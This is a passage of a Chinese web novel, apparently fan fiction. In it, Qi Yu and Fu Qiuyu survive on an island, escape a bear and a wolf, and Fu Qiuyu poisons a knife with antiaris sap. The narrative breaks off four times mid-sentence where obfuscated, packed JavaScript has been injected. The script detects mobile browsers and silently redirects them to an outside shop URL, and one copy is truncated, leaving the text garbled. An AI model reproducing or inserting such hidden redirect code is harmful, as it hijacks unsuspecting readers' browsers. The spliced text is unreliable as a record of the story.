这燃烧起来的样子，可真像他的evol。 祁煜摸着下巴，仔细观察。 这羽毛散发着微弱的能量，不过和这个空间里萦绕的能量不同，它有自己独特的味道…… 祁煜再次把手放到羽毛上，闭眼感受。 羽毛上的火舌舔舐着他的掌心，但他不在乎，反正他用evol的时候总被烫，习惯了。 渐渐地，他感受到羽毛上传来一种执着的能量。 执着啊…… 祁煜睁开眼，看着这个安详躺平，看起来走了有一会儿的女人。 这家伙可看不出来对人间什么有“执着”的样子？？ 哦……原来胸口还在喘气，还以为亖了呢。 祁煜把她从水里捞出来，死命摇着她的肩膀。 “醒醒，醒醒！别睡了！太阳晒屁股了！实验出事故了！你方案被人偷了！” 傅秋语睡得很安详，比通宵打游戏看番剧熬了两个大夜加三个白天之后睡得还香。 祁煜用各种办法都叫不醒她，一时间气得想把她扔水里自生自灭算了，他自己去找出口。 正当他想这么实施的时候，他脑中忽然灵光一闪，想到她说过自己是网文写手。 他凑到她耳边，恶魔低语：“编辑和你约定的交稿期就要到了但你的稿子一点都没有动——” 只听傅秋语倒抽一口气，惊恐地睁开眼睛。 祁煜冲她wink了一下：“你终于醒了。” 傅秋语呆愣愣地看着他，“……” 这一刻，他背着月光，踏着浪，微卷的发丝缠绕海风，熟悉的眉眼浸染微光。 傅秋语：“祁……” 她没能叫出那个名字。 随着她的苏醒，空间轰然崩塌。 祁煜睁开眼睛。 这一次，他躺在海岸边的树下。 他回来了。 两人失去意识前，祁煜紧急捞了一把傅秋语，避免她的后脑勺直接接触地面的命运。 然后他就不知道后面发生的事了。 没想到醒来后，发现他们两人居然是他垫在下面，傅秋语趴在他胸口的姿势。 他低头看了下傅秋语的情况。 人还没醒。 摸她的头。 感觉更烫手了！那退烧药真的有在退烧吗？ ……不会是因为吸收了玛丽苏物质吧……？ 祁煜这下觉得，这家伙可能真的是上天派来折磨他的。 他对猎人小姐耍的小手段，这下全部变成回旋镖飞回来了。 猎人小姐被他忽悠，不情不愿地当一个假装柔弱的艺术家的保镖。 而他现在是上赶着当一个真柔弱的作家兼研究员的保镖。 真是人生处处是回旋镖呢…… 没过多久，傅秋语也醒了。 她醒来时发现自己躺在树下，身上盖着俞启的外衣。 俞启并排躺在她旁边。 对方一只手搭在眼皮上，一脸生无可恋。 傅秋语：“你怎么了？” 祁煜看她一眼，说：“我晕。好像是被人绑在车顶车子以二百迈的速度狂飙八百里之后被放下来的那种晕。” 卧槽，代入感极强！ 傅秋语说：“我也晕，是高烧不退的那种晕。”她忧郁地看天，说：“我不会就这样烧成傻子吧？……不要啊。” 祁煜：“傻人有傻福。” 傅秋语：“傻人有棒槌吃。” 祁煜：“你思想好阴暗。” 傅秋语：“你说话好好笑。” 她长舒一口气。 总归第一个任务顺利完成了，皆大欢喜。 时间还早，离夜晚还有一个中午和一个下午的时间，他们两人可以在这段时间里安心恢复体力，再找夜晚的落脚点。 看她眼睛一闭，打算开睡，祁煜连忙把她摇醒，“你先别睡，你先和我说说你会吸收玛丽苏物质是怎么回事。” 傅秋语往旁边挪了一下，躲开他的手：“我也想知道。” 祁煜：“你以前见过这东西吗？” 傅秋语：“玻璃工艺品上见过，教堂的彩绘玻璃上见过。” 祁煜：“那你这么说我也见过……你怎么又睡了？” 傅秋语痛苦面具：“……不睡干嘛啊？你要是无聊你也睡。” 祁煜：“我睡不着，你陪我聊会儿天。” 傅秋语直接背过身，“不聊。” 祁煜把她的肩膀又掰回来：“就十分钟。” 傅秋语不胜其烦地睁开眼睛，恼火道：“你还有什么问题要问？” 祁煜张了张嘴，但话到嘴边又停住了。 他其实想问刚刚那个异空间是怎么回事，是吸收了玛丽苏物质后展开的类似流浪体的那种空间吗？ 但是仔细一想，她是从而20年前穿来的，那时候还没有流浪体，问她也是白问。 而且看她醒来后毫无觉察、倒头继续睡的样子，便想到她可能自己都还没察觉到那个异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368125|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空间，更别提回答他了。 而且…… 更像了。 雨丘会吸收芯核能量，她会吸收玛丽苏物质，她们都对自己身上的能力来源一无所知。 这相似度简直是一脉相承！ 她俩如果不是从一个实验室里出来的，就必定是一家子！甚至有可能…… 问她意义不大，还是他自己找答案比较快。说不定回头傅秋语还得反过来问他。 反正都困在这里出不去了，他有的是机会。 于是话都到嘴边了，他话锋一转，严肃地问：“朋友，你相信光吗？” 傅秋语：“？” 她一脸“你tm有病吧”。 祁煜：“我一直在想，我在发现你的时候就已经打了救援电话。这么长时间过去……或许，有没有一种可能，救援队已经到了，但是他们进不来呢？” 傅秋语想了下：“很有可能。” 祁煜打开手机里的指南针功能，果然看到界面里的像陀螺一样飞速旋转的指针。 他拿给傅秋语看，她看了一眼，眼晕地闭了闭眼。 祁煜：“这个地方磁场混乱，会瘫痪电子设备。” 和流浪体的磁场异动很像，但又有不同。 傅秋语：“这种条件下，不仅是海里的船过不来，天上的飞机也过不来。” 祁煜换了个姿势躺平：“还真是全范围堵死了我们的救援通道。” 傅秋语：“人，肯定是进不来了，不过……” 祁煜：“不过什么？” 傅秋语：“不过有一个办法，可以把物资送进来。” 祁煜：“？就算是无人机，也不能在这种条件下飞跃大海吧？” 总不能绑在鸟身上带过来吧？ 可是很多鸟类使用的生物导航，也还是依赖的地球磁场啊。 傅秋语：“用炮打过来。” 祁煜：“？” 他震惊了。 本以为自己想象力已经够丰富了，没想到还有高手！ 傅秋语：“看似高端的技术难题，往往只需要最朴素的办法突破。不过这个方法很难实现。” 祁煜忍不住吐槽：“这不是显而易见的吗！” 傅秋语：“第一，从我们这个位置看，一眼看过去，完全看不到马赛克的尽头，我想它的范围绝对已经超过二十海里，救援队有没有、或者说能不能到申请到射程这么远的炮弹都是个问题。” “第二，要把弹头的定位仪拆了，再改装成可以把物资发射过来的结构，这很有技术难度，需要相当专业的设计师来改造。” “第三，发射炮弹不是扔石头，一丁点的误差都会导致目标与实际落点相差甚远，而这个地方偏偏不能使用制导手段，只能靠人工瞄准，能不能发射到这里还得看运气。” “综合以上三点所述，我不认为救援队具备这些条件。该方案虽然理论可行，但可操作性太差。而且光我自己想到没有用，也得对面能想到。” “所以我的判断是——咱们还是抓紧时间休息吧，荒岛求生还得靠我们自己。” 说完，她又往旁边挪了挪，彻底避开祁煜的魔爪。 衣服蒙头一盖，谁也不爱。 祁煜看着她沉默良久，真诚发问：“你们研究员都是你这种说话风格吗？” 过了一会儿，傅秋语含糊的声音才从外套底下传过来。 “……什么……风格……？” 祁煜：“人工智能的风格。” 一分析起事情来就和变了个人似的，冷淡，理性，说话条理分明，还带总结。 她说话比放置在他画廊里的AI还像人工智能。 傅秋语：“……” 她彻底没声音了。 祁煜扒开外衣一看，发现她彻底睡过去了。 10. 010 祁煜其实也是真的晕，但这点眩晕对于他来说还行，缓一缓就过去了。 傅秋语倒是睡得死，一声都不带吭，动都不动的。睡相好到令人心慌。 和人工智能关机了似的。 祁煜时不时看她一眼，深怕她直接睡死过去。 等待的过程里，他看着天放空大脑。 以往的日子里，他其实也经常也这么百无聊赖地躺着看天，但不知道是如今情景不同还是怎么回事，他的心情也完全不同。 他再次想起不知所踪的猎人小姐。 猎人小姐失踪的第八天，他也“失踪”了。 真让人不知道该说什么好。 他侧头看向傅秋语，对方的脸和雨丘逐渐重合。 看着看着，睡意袭来，他打了个呵欠，觉得阳光正好，风很舒服，睡会儿也无妨。 …… 醒来时，他条件反射地看向身侧。 ——空的。 他立刻弹坐起来，搜寻目标。 他很快就找到了。 目标披着他的衣服，盘坐在距离他五六米远、一朵花的正前方，盯着花端详，手里拿着根树枝，时不时在地上划来划去。 “你在干什么？” 他凑过去一看，发现她居然在地上画画。 别说，画得还真像。虽然受限于条件，只能画线条，但姿态、特征几乎和她的参照物一模一样。 傅秋语：“……啊，你醒了……你这是什么表情？” 祁煜瞳孔地震：“你居然会画画？？” 傅秋语满脑子问号：“我为什么不能会画画？人的兴趣又不是只有一种。” 祁煜：“不，没什么……” 他以为长了这张脸的，都会是艺术绝缘体，类似基因遗传什么的。 保镖小姐的创作，是会令人两眼一黑的程度。 而傅秋语的画，居然比她这个人正常！ 不过真奇怪，傅秋语这人的思维方式极为理性，但她的兴趣却非常需要感性。 逻辑和理性是科研的翅膀，但无论是对于文学创作还是绘画创作，这两样东西都通常会把人带沟里。 她是怎么做到平衡理性与感性的？ 还是说……根本没有平衡？ 刚说完她的画正常，傅秋语忽然凝望大海，说：“我突然有了一个绝妙的主意！” 祁煜就看她迅速在花的周围定了几个点，开始作画。 她飞速地画出一个叉腰笑的米老鼠，而之前的那朵花正好成为它的头饰。 她满意地把树枝一扔：“这样，迪士尼的法务部就会火速赶来，拉我们去法庭要求我们赔偿侵权费！” 祁煜：“……” 他深吸一口气，压住疯狂上扬的嘴角，严肃地说:“不行，你画的目标不够大，卫星上看不见。” 傅秋语：“啧。迪士尼居然不能靠蜘蛛感应到有人在侵权，爷很失望。” 祁煜一个没忍住，笑出了声。 一旦习惯了她的抽象，居然觉得还有一丝带感，至少活跃气氛一绝。 他说：“行了，咱们还是面对现实吧。荒岛求生企划，启动！” 傅秋语指向树林：“下一步，我们先去那个方向。” 祁煜：“为什么？” 傅秋语：“我刚刚又仔细想了想，据我观察……” 祁煜打断她的吟唱：“停停停，我不想听你论证，你直接说结果吧。” 傅秋语瘪嘴看了他一眼，然后说：“好吧，我其实就是看到滞留在岛上的海鸟，一直在那个方向盘旋，所以猜测，那个方位应该有淡水湖之类的。” 祁煜点头：“有理。” 他拿出手机看了眼时间，12:46。 时间不早不晚，应该能在夜晚到来前找到落脚点。 两人又开了个椰子吃，他们感觉，如果再不找到点其他东西填肚子，他们整个人都要变成椰子味的了。 傅秋语照例把药混在椰子肉里面吃下去。 虽然有心想要节省物资，奈何身体实在不允许。药效时间一到，体温就会上升，然后就浑身乏力。 接下来他们还要跋涉很远的路程，不吃药扛不住。 目标定好后，两人不再耽搁。 他们孑然一身，没有什么能带的工具，荒岛求生条件严峻到他们这种程度的，也是相当罕见了。 祁煜把地上那根树枝重新捡起来，握着树枝的一端，把另一端递给傅秋语。 傅秋语：“干嘛？” 祁煜：“树林里的路不好走。你抓着这一头，抓稳了，我牵着你走。” 见傅秋语有点愣神，他催促了一声：“快点。” “哦……好。” 傅秋语抓住了树枝。 看着俞启的背影，她忽然感觉，前路固然黑暗，但……两人一起，或许黑暗中亦能争出一丝微光出来。 这岛规模不小，从海滩看过去，只见层峦迭起，树木葱郁。 一进入丛林之中，复杂的地形更是能把人绕晕。 傅秋语是一年四季都是家里公司两点一线的人，根本不会走除了平地之外的路，别说森山老林了。 她让俞启用他那小刀沿路刻记号，免得在丛林里迷路。 俞启明显在荒野求生方面比她有优势，明明看着瘦弱，却步伐稳健，对各种地形都适应良好，还能有余力照顾她。 傅秋语真是给他的体能跪了。和他一比，她简直就是个废物。 这一路上也算顺利，唯一不顺利的就是她的体能总是拖后腿。 这不，被祁煜拉上一道陡坡后，她的体力又再度告罄。 她按了按抽痛的太阳穴，坐在地上喘气。 傅秋语沉痛反思：“我还是太高估自己了。” 祁煜安慰她：“你本来身上就带着病，能坚持到现在已经很不错了。” 傅秋语忧虑道：“但是再磨蹭下去，别说天黑之前找到落脚点，能不能找到水源都是个问题。” 她咽了下干燥的嗓子，低头按压太阳穴。 病中透支体力的结果就是，吃药都压不住头疼。她的头好疼，是那种要裂开的疼。 她的脸色已经从发热中的潮红，变成了纸一样的苍白。 休息了一分钟，她对祁煜说：“拉我起来吧。” 祁煜说：“你再歇会儿吧。晚一点就晚一点，我们情况横竖也就这样了，再差也不会更差了。” 傅秋语犹豫了一下，坚定摇头：“海岛气候多变，尤其夏秋雨多，不尽快找到避风点，我们的情况……准确的来说，是我的情况，还能更糟。” 这人也是死犟，一旦定好了计划，就说什么也要完成。 祁煜拗不过她，只好把她拉起来。 这人走路已经打飘了，走起路来根本不像踩在实地上的样子。 距离他们的出发时间，已经过去了两个小时。 其实祁煜觉得，就算不生病，以傅秋语的体能来说，两个小时也应该是她的极限，她现在每走一步都是在透支体力。 在她一个踉跄，差一点再次被树根绊倒时，祁煜终于忍不住了。 他把她扶稳，拉住她的手，把刀交到她手上，“拿稳。接下来就由你标记号了。” 傅秋语有点神志不清了，她迟钝地“啊？”了一声。 接着，祁煜将她拉过来，手臂搭到他的肩膀上，对方滚烫柔软的身体贴上后背，双臂绕过她的腿弯，一个用力就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她说不清是为自己终究还是沦为拖油瓶而破防，还是为在这种困境中还有人没有放弃她而破防。 就算俞启真的把她丢下，让她自生自灭，傅秋语也觉得没什么。 毕竟，这就是人间真实，无比符合她对这糟烂人间的认知。 就连她的亲人都可以放弃她，一个才认识不久的人把她利用完了再丢下，简直再正常不过了。 一个不具备任何约束力的承诺，除了给她一点心理安慰，其实没什么作用。 可是他居然真的履行了。 她看到俞启脸侧的汗珠不断滚落，神色间显露出疲态，心情变得越发沉重。 她扯过袖子，想要给他擦汗。 没想到才碰到他的侧脸，对方就警觉地躲开，“你做什么？” 看到她的动作，祁煜眼中的警惕缓缓消融，取而代之的是茫然。 ……她的眼神，好悲伤。 那是一种仿佛要放弃全世界，不管不顾地溺死在深海里的悲伤……他想起了那个满是苦涩能量的空间。 想起了他们初见时的情景。 为什么明明他说了不会放弃她，她却反而露出这么悲伤的表情呢？ 正常来说不应该是很感动吗？ 最令他不解的是。 明明傅秋语和雨丘有着那么多的不同点，完全就是两模两样的人…… 可是冥冥中，他心底依然有个声音在不断地鼓动他，令他十分在意她的一举一动。 这种在意已经超出他的理解、超出他的理性范围了。 祁煜犹豫了一下，默默地把头又凑到她手边。 他装作什么都没有发现的样子，语气轻松地说：“诶，你这手伸得及时！我空不出手，这满头满脑的汗，影响我英俊的容颜！你快帮我擦一擦。” 11. 011 傅秋语推测得没错，祁煜背着她又往前走了一个小时后，他们听到了群鸟盘旋鸣叫和羊群的声音。 两人对视一眼，都来了精神。 祁煜加快脚步，果然没走一会儿，前方视野陡然变得开阔，他们走出了密林，来到湖畔。 岛屿上的淡水湖的规模其实不怎么样，就是几亩地的大小，但对于现在有水就行的两人来说刚刚好。 两人的到来惊动了附近的鸟群，白鸟扇动翅膀飞到湖的另一边。 山羊群听到动静警惕地抬头，发现是两个毫无威胁两脚兽后，又安心地低头喝水。 祁煜把傅秋语放到湖边的一块大石头上，嘱咐道：“你就坐在此地不要走动，我去去就回。” 傅秋语双手把刀奉上：“去吧，皮卡丘！” 祁煜带着他的匕首飞速窜走了，傅秋语看着他矫健的背影，疑惑地心想：他怎么还能跑那么快？ 果真是人比人得死。 俞启去暗杀猎物去了，傅秋语远望这片生机勃勃的湖畔，心情总算松快了些。 她把双手浸到清凉的湖水中，陷入了三秒钟“这水到底能不能直接喝”的纠结中。 以一般的荒野求生理论来说——不能。 因为野外的水中含有大量细菌、杂质和微生物，直接喝容易拉肚子，最好过滤后再喝。 但现在他们明显没有那个条件，就算想讲究也讲究不起来。 傅秋语心想，至少她的肠胃还算硬朗。 她克制地饮用了一些，缓解了嗓子的干渴后就不再喝了。 接着她掀开裙子一角。 醒来后发生了太多事，她都忘记自己在礁石区磨出来的伤了。 在她的预想里，她的大腿此刻估计没一块好皮，如果严重的话，甚至已经发炎红肿。 结果她掀开裙子一看，发现这些伤痕居然都快好了。 傅秋语感觉不可置信。 她的恢复力什么时候变得这么好了？ 她又迅速地检查自己身体其他部位的伤痕，发现它们和她腿上的伤一样，也都好得七七八八。难怪她这么长时间都没想起来！ ……不对啊？ 傅秋语觉得很不对劲。 明明早上刚醒的时候，她还能明显感觉自己的伤很疼很严重，怎么半天过后就好得差不多了？ 她仔仔细细复盘了一遍今天这一整天发生的事。 她一直是正常的人，身体也是正常的恢复速度，只有一件事不正常——她会吸收马赛克物质。 好像……就是在她吸收了俞启身上的马赛克物质后，她一觉醒过来后，身上不就疼了…… 那玛丽苏物质居然还能给她治伤的？ 她十分心动地想，它既然能治伤，那能不能治病呢？ 但是她一想到俞启的鳞片，立刻又偃旗息鼓了。 算了，这东西太邪门，还是不要再碰了。 接下来发生的事还是很顺利。 祁煜顺利地带回了几只海鸟，两人顺利地处理了尸体，顺利地烤上。 一切都顺利地让傅秋语心慌。 这女人的直觉，在预测好事的时候通常不准，但是预测坏事一测一个不吱声。 鸟肉烤起来很香，但是吃起来没味道。没有盐，没有调味料，条件也就只能这样了。 两人都饿极了，也顾不上平时的讲究做派，有什么吃什么。 祁煜一抬头，发现傅秋语吃得心不在焉，一直盯着湖面发呆。 他好奇地看过去，但湖面除了几片落叶什么都没有，不过风吹皱水面的样子，倒是常见的写生素材。 祁煜问：“怎么一直看着湖发呆？在想创作的事？” 傅秋语：“不是。” 他又问：“难道你想吃鱼？……但是鱼没有调料会更难吃。” 傅秋语终于回头看他，说：“没有，我只是忽然想起早上和你说的，怎么才能把物资送进来这个问题。” 祁煜：“你居然还在想？” 傅秋语点头：“不错，我刚刚突然想到，用炮弹打进来这个法子还是太野蛮了。” 祁煜：“你居然才意识到吗？” 傅秋语：“既然重点是利用势能，那么我们其实还有更简便更原始的方式，成本很低，不过同样难以控制目的地。” 祁煜又烤好一只鸟，他想递给她，但是她手里那只才吃了一半，他就拿着自己吃了。 祁煜吹了吹烤肉：“从你嘴里再说出什么办法，我都不会意外了。” 傅秋语：“用风。” 祁煜：“风？” 傅秋语：“去年出了个很轰动的国际新闻，不知道你有没有关注。一个气象气球，没有任何动力，纯靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368127|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气流推动，途径了十几个国家，飞到地球的另一边。” 祁煜回忆了一下，好像没有这个新闻。 但是他下一秒就反应过来，她说的“去年”应该是指的2023年，距离现在已经过去25年了。 傅秋语：“所以我的想法是，救援队同样可以用一个类似的气球放置救援物资，等海风朝向这里的时候放过来。” 祁煜：“这个方法倒是靠谱多了，也更容易实现。”他给烤架上的肉翻了个面，“真希望救援队里同样有人能想到。” 是的，思考这个问题其实没有意义。 但她是大脑闲不下来的类型，一定要想点什么才行。 傅秋语看了眼天色：“再过十五分钟，我们就走。” 现在时间是5:32。 太阳已经接近落山，他们在处理食物上浪费了太多时间。 祁煜：“好好好，知道，你说过很多遍了，等我把这只烤完就走。” 他看到傅秋语手上那只还没吃完，说道：“你也动作快点。就算这东西再不好吃，也得多吃点，不然你的身体更难恢复。” 傅秋语皱眉看向手中的烤肉，“不知道为什么，胃口很差。” 不只是胃口差的程度，总觉得吃到嘴里的东西，都像在啃蜡烛。 ……难道是因为太累了吗？ 不过俞启说得对，不吃东西更难恢复，她强迫自己把手里这只啃完，然后就说什么都不再吃了。 祁煜就用叶片把刚烤完的肉包起来当储备粮。 夕阳渐沉，暮色已至。 在他熄火做善后工作的时候，一直在旁边歇息的傅秋语忽然站起来，脸色紧绷地催促道：“别弄了，我们必须走了！” 祁煜也感觉到了。 鸟群发出尖锐的警报，开始大片地飞离湖泊，山羊群躁动起来，它们纷纷逃离湖畔，没入丛林。 这种动静，只有可能是有某种猛兽靠近了这里。 祁煜迅速拉过傅秋语，带着她和兽群一同撤离。 就当他们远远地离开湖畔，把身后的那些异动都远远地甩开，正打算松一口气时，两人一转身，和对面一只两米高的棕熊对上了视线。 棕熊旁边还有只熊崽。 祁煜：“……哦吼。” 傅秋语：“……哦吼。” 完蛋！ 12. 012 “海岛上为什么会有熊啊！！” 傅秋语十分崩溃。 祁煜：“……很显然，岛上怎么有羊的……就怎么有熊。” 该来的还是来了。 没想到她一路严防死守，小心谨慎，最后还是正面和熊撞了个正着。 还是个带崽的母熊！ 整个自然界的生物圈里，只要是性别为母带个崽的，战斗力都会飙升。 熊这种生物本来战斗欲望就强，带崽的母熊更是战斗力天花板，随时随地都会触发狂暴。 母熊喉咙里发出威胁的呼噜声，山一样的躯体向他们靠近。 傅秋语的冷汗当场就下来了。 为什么她一天天的这么倒霉老是遇上自己完全不会处理的事啊！ 她受够了！ 又是大海漂流，又是孤岛求生，现在还要直面野熊，她一个纯战五渣体力废，到底是造了什么孽才会遇到这么多倒霉事！ 难道她上辈子炸了银河系吗？ 祁煜把她藏到自己身后。 她个子娇小，被他这么一藏，前方的危险被他挡了个严严实实。 他沉着声音，小声对她说：“冷静，不要慌。慢慢向后退……对，就这样，一直退……” “它只是担心自己的孩子被伤害，只要我们表明自己没有敌意就可以了。” 他向后摸索，摸到傅秋语颤抖的手，轻轻在她手背拍了拍，“别怕，还有我。” 傅秋语并没有被安慰到，她怕得要死。 她没有扭头就跑，纯粹是因为她知道自己不但跑不过棕熊，而且这种行为还会彻底激怒它。 他们缓缓后退，退出了四五米远，母熊威胁的呼噜声才渐渐平息。 它不再跟来，而是守着自己的幼崽，但眼睛还死死盯着他们。 ——威胁暂时解除，只要他们保持这样状态直到消失就可以了。 正当两人这么想着，在他们身后，一双幽绿的眼睛缓缓靠近。 祁煜首先察觉危险，一把抓过傅秋语，把她揽到自己怀里，同时抽出自己的匕首。 傅秋语听到声音了。 她僵硬地回头，只见另一只捕食者从黑暗的密林中走出。 那是一头成年野狼。 体型健壮，目光凶狠，且饥肠辘辘。 傅秋语的心顿时凉了个透底。 祁煜依然是一副游刃有余的样子，他甚至笑了下，说：“居然跟来了。” 一只脱离了狼群的孤狼，猎不到吃的是很正常的。 山羊跑得太快，所以它一路跟着看起来最弱又跑不快的两脚兽，也是很正常的。 傅秋语没有功夫注意到他，因为变了位置的原因，她一下就注意到瞬间暴怒的母熊。 它原本平稳的情绪再次狂暴，它的爪子拍向大地，原本威胁的呼噜声直接变成怒吼。 它起身了，它过来了！ 因为野狼的突然闯入，本已化解的危机直接升级。 傅秋语清晰地听到，自己大脑里有根弦“咔”地一下，崩断了。 轰——！ 响雷了。 傅秋语甚至一瞬间以为这是她理智碎裂的声音，崩溃地心想这动静真大。 直到祁煜带着她退向另一个方位，和母熊、野狼成三角之势对峙时，她反应才过来，是他妈的打雷了！ 滚滚雷声轰鸣，预示着一场大雨即将到来。 熊和狼互相咆哮了一顿，最后居然仿佛达成了什么跨物种共识，一起向他们逼近。 什么是绝望？ 这就是绝望！ 傅秋语觉得，自己的霉运恐怕已经抵达人生的巅峰，再也无法超越了！ 祁煜拍拍她的头，对她说：“你相信这个世界有魔法吗？” 傅秋语：“？” 祁煜再次把她塞到身后，很酷地挽了个刀花，说：“害怕的话就闭上眼睛，我给你变个魔术。” 傅秋语：“……你不要再耍帅了，对面攻高血厚，不讲武德，你一个人打不过！我们撤……” 祁煜一挥手，“不用。” 力量涌上手心，他挥刀冲上去，但是冲到半路忽然发现不对劲，因为涌上手心的不是他的火焰…… 准确的来说确实是火焰，但是是我的世界马赛克版！ 这马赛克火焰沾在刀锋上，就和长了一圈小锯齿一样。 一刀刺到熊身上，留下的也不是火焰，那个马赛克版小火苗直接戳到它肉里去了！ 祁煜震惊了。 棕熊大怒，一巴掌给他扇飞出去。 傅秋语也震惊了。 她又急又气，冲上去把人扶起来，急得锤他胸口：“都说了快撤了，你冲上去送什么死啊！” 一看这人还在不可置信地看手心，她啪地就是一巴掌把他的手打掉，“别想着你那逼魔术了，我们只是流落荒岛，不是穿越到异世界啊！再看你也变不出EX咖喱棒！” 祁煜：“不是，我有异能……” 傅秋语又震惊了：“你中二病怎么比我还严重？醒醒，我们是地球纯血麻瓜，没有异能这种设定！！” 祁煜看着她焦急的脸，突然感觉，她的信息偏差好像比他想象的还要多。 地球一直有异能使用者，只不过数量很少而已。 但此刻不是说话的时候，没有时间给他们互相交流信息。 他捂着肩上被熊抓出来的伤痕，鲜血浸湿了他的衣衫，人鱼血的气味挥发到空中，棕熊和野狼不约而同地看向他，喘息声明显变得兴奋。 人鱼血，不但容易招惹流浪体，也容易招惹凶猛的野兽。 黑暗中，傅秋语看不清他肩膀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368128|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉色的血，但是能闻到越来越重的血腥味。 “你受伤了？！” “听着……”祁煜再次把刀塞到她手心：“拿着它，保护好自己。我数三下，三下后，向我的反方向跑，记住了吗？” 轰——！！ 雷声伴随着闪电响起，骤然雪亮的光线刺痛了她的双眼。 傅秋语清晰地看到了俞启的血，看到了对方狼狈的样子，和那双明亮坚定的眼睛。 她一瞬间好像意识到了什么，但是形势紧迫，不容她细想。 傅秋语问：“我带着你的刀跑了，那你呢？” 祁煜：“别管我，找个地方躲起来，记得沿路标记，脱困了我会去找你。” 傅秋语：“……那你要是没有来呢？” ?? 他拍了拍她的头，起身带着她后撤，笑着说:“不会的。” ?? 傅秋语:“那你有什么对策？” 祁煜：“……三。” 他没有回答。 在这短短的时间里，他身上的血流的更多，血腥味更重了。 他的伤比想象的要重得多。 傅秋语的眼眶发红。 她嘴角颤抖，但没有再说话。 祁煜：“二。” 傅秋语永远是冷静的傅秋语，即使情绪已经极度崩溃，她的大脑还是会优先去处理当下事情。 她永远不会大喊大叫，永远不会抱着别人上演“你不走我也不走要死死一起”的琼瑶剧。 祁煜：“一！” 随着最后一声，两人同时往相反的方向跑。 受血腥味的刺激，棕熊和野狼纷纷跟随着俞启离开。 傅秋语头也不回地钻进黑暗的雨林中，野兽那震动山林的吼叫声和脚步声渐渐地离她远去。 轰——！！！ 闪电再次短暂地驱离了黑暗。 光芒照亮了傅秋语麻木的脸。 她的表情很平静，非常平静。平静到，好似戴上了一层僵硬的人皮面具。 她没有悲痛，没有恐惧，没有慌乱，一瞬间，所有人类应该在当下环境中产生的一系列情绪，都离开了她的身体。 大雨，倾盆而下。 她无比确定—— 现在，才是她人生中真正的，最绝望的时刻。 她没有再遇到野兽，但她也没找地方躲起来。 大雨浇在她的身体上，她身上的热气蒸腾而起。 不时亮起的电光照着她的前路，她在雨中跌跌撞撞地前进、寻找。 一株高大的箭毒木，在这个飘摇的雷雨夜中静候自己的伯乐。 她来到树下，看到树上的果实如血滴般垂挂。 傅秋语僵硬的脸上，终于露出一丝冷静到近乎疯癫的笑意。 “找到了。” 13. 013 箭毒木，桑科植物，又名见血封喉，常见于热带雨林，也分布于一些沿海、半岛区域。 傅秋语没想到会在这里遇到一株箭毒木，这大概就是天无绝人之路。 这株箭毒木长得极好，高大挺拔，枝叶繁茂。 而且，它长得位置也好。 虽然高大，但旁边就是山壁，她只要站在山壁上就可以砍下它的树枝。 傅秋语平时一大喜好就是看纪录片，一些记录片里会介绍世界各大神奇的动植物。 这些知识平时没有用，她是看过就忘星人，但在现在这种危急时刻，曾经在各类纪录片中看到的关于沿海地区有毒植物的知识，忽然无比清晰地浮现在她的脑海里。 箭毒木的汁液为乳白色，一经接触人畜伤口，即可在短时间内使中毒者心脏麻痹，直至死亡。 某些地区的少数民族会用涂了箭毒木树液的箭狩猎，传闻只要射中动物，就算不是致命的地方，毒液碰到了血液，动物九步之内必死无疑。 傅秋语爬上山壁，砍下两段树枝，取下果实，将它们的尖端削尖，开放血槽，以便她能够更顺利地刺入野兽厚实的皮毛。 接着，她用匕首从自己裙子上裁下两块布，一块包裹树枝，避免自己的皮肤被树枝擦伤导致中毒。 另一块布则是沾上箭毒木的汁液，然后把布包在匕首的刀锋上，最后用雨林中随处可见的阔叶将整个匕首包好。 她还没忘了薅一把长在附近的红背竹竿草（可以解毒），免得玩大了不小心把自己作死。 做完这一切，她就带着自己船新的附毒装备原路返回。 她的追踪术不能说稀烂，只能说根本不会。 返回的过程中，她甚至差点迷路。她怀疑自己可能会像个小丑，徒劳地在雨夜里奔波，到最后都找不到目标。 但是她没有停下脚步。 找到俞启，是她现在唯一、也是必须要做的事。 她没有被热血冲昏头脑，她很冷静，她很冷静地制定自己的计划。 在事情解决前，傅秋语永远不会大喊大叫，永远不会可悲地缩在阴暗的角落里等待奇迹。 她会冷静地分析局势，寻找趁手的工具，最后寻找机会，给予对方致命一击。 对人如此，对野兽也一样。 